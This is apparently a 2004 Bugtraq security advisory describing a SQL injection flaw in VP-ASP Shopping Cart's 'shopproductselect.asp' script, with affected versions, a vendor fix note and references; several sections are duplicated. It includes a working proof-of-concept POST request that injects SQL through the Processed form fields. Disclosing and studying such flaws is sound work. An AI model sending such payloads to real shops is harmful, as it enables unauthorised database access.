Virtual Programming VP-ASP Shopproductselect Script SQL Injection Vulnerability
BID:10536
Info
Virtual Programming VP-ASP Shopproductselect Script SQL Injection Vulnerability
| Bugtraq ID: | 10536 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 14 2004 12:00AM |
| Updated: | Jun 14 2004 12:00AM |
| Credit: | This issue was reported by "Thomas Ryan" <[email protected]>. |
| Vulnerable: |
Virtual Programming VP-ASP 5.00 Virtual Programming VP-ASP 4.50 Virtual Programming VP-ASP 4.00 |
| Not Vulnerable: | |
Discussion
Virtual Programming VP-ASP Shopproductselect Script SQL Injection Vulnerability
It is reported that the VP-ASP Shopping Cart is prone to a remote SQL injection vulnerability. This issue is due to a failure of the application to properly sanitize user input before using it in an SQL query. The problem presents itself when a malevolent user supplies SQL syntax to the application via the 'shopproductselect.asp' script.
VP-ASP versions 5.0 and prior may be prone to this issue. It is possible that a vendor-supplied fix addresses this issue, however, this has not been confirmed at the moment.
It is reported that the VP-ASP Shopping Cart is prone to a remote SQL injection vulnerability. This issue is due to a failure of the application to properly sanitize user input before using it in an SQL query. The problem presents itself when a malevolent user supplies SQL syntax to the application via the 'shopproductselect.asp' script.
VP-ASP versions 5.0 and prior may be prone to this issue. It is possible that a vendor-supplied fix addresses this issue, however, this has not been confirmed at the moment.
Exploit / POC
Virtual Programming VP-ASP Shopproductselect Script SQL Injection Vulnerability
No exploit is required.
The following proof of concept is available:
POST /vpasp/shopproductselect.asp HTTP/1.0
Referer:
http://www.example.com:80/vpasp/shopdisplayproducts.asp?id=6&cat=Groceries
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
Connection: Close
Host: www.example.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Pragma: no-cache
Cookie: ALT.COOKIE.NAME.2=8P.9.7080.2N2,20.B9N9P954OO4OM4,4;
CustomCookie=TommyRyan
x1Feature1=28&x2Feature1=18&prodindex=3&quantity=1&quantity=1&quantity=1&act
ion.x=5&action.y=5&Processed0=15+AND+'a'>'z'&Processed1=14+AND+'a'>'z'&x2Fea
turevalue1=19%2C+17%2C+18&Processed2=16&x1FeatureValue1=+2+dozen+%5B3.50%5D
No exploit is required.
The following proof of concept is available:
POST /vpasp/shopproductselect.asp HTTP/1.0
Referer:
http://www.example.com:80/vpasp/shopdisplayproducts.asp?id=6&cat=Groceries
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
Connection: Close
Host: www.example.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Pragma: no-cache
Cookie: ALT.COOKIE.NAME.2=8P.9.7080.2N2,20.B9N9P954OO4OM4,4;
CustomCookie=TommyRyan
x1Feature1=28&x2Feature1=18&prodindex=3&quantity=1&quantity=1&quantity=1&act
ion.x=5&action.y=5&Processed0=15+AND+'a'>'z'&Processed1=14+AND+'a'>'z'&x2Fea
turevalue1=19%2C+17%2C+18&Processed2=16&x1FeatureValue1=+2+dozen+%5B3.50%5D
Solution / Fix
Virtual Programming VP-ASP Shopproductselect Script SQL Injection Vulnerability
Solution:
The vendor has released fixes to address this issue. It is reported that the fixes are applied to VP-ASP 5.0 as of February 2004. Please contact the vendor for more information.
Solution:
The vendor has released fixes to address this issue. It is reported that the fixes are applied to VP-ASP 5.0 as of February 2004. Please contact the vendor for more information.
References
Virtual Programming VP-ASP Shopproductselect Script SQL Injection Vulnerability
References:
References:
- June 10, 2004 - Security Fix VP-ASP 5.0 (Virtual programming)
- VP-ASP Homepage (Virtual Programming )
- VP-ASP Security FAQ (Virtual Programming)
- VP-ASP Shopping Cart Multiple Vulnerabilities ("Thomas Ryan"